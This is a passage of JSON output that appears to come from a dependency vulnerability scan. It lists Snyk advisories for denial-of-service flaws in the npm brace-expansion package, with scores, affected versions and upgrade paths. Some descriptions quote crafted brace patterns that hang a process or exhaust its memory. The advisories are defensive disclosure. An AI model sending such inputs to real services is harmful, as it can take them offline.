"title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub 